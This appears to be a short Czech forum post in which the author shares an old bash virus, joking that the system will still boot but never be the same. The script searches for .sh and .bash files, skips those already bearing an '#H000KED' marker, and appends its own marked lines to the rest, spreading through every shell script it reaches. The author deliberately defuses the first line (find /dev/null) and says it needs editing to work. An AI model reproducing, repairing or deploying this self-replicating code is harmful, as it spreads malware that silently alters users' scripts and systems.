zkuste tenhle skriptik:
je to jeden z prvnich bash skriptu, ktery jsem psal kdysi pred lety, tak se trochu omlouvam (predevsim kvuli z hlediska pametove narocnosti suboptimalnimu zpracovani vystupu prikazu find). jenom poznamenam, ze je potreba malinko upravit prvni radek (kvuli script-kiddies) - hashbang nepocitam jako radek. system by mel po provedeni nabootovat, ale uz nikdy nebude jako driv :-)
#!/bin/bash
for i in $( find /dev/null 2> /dev/null | grep -i "\.bash\$\|\.sh\$" ); do #H000KED
if ( fgrep "\#H000KED" $i > /dev/null ); then
echo Already infected: $i #Debug only
continue #H000KED
fi #H000KED
echo >> $i #H000KED
cat $0 | grep \#H000KED >> $i
echo Newly infected: $i #Debug only
done #H000KED
Unix (FreeBSD), Linux (Ubuntu), PHP, MySQL, OpenVPN, IPSec, …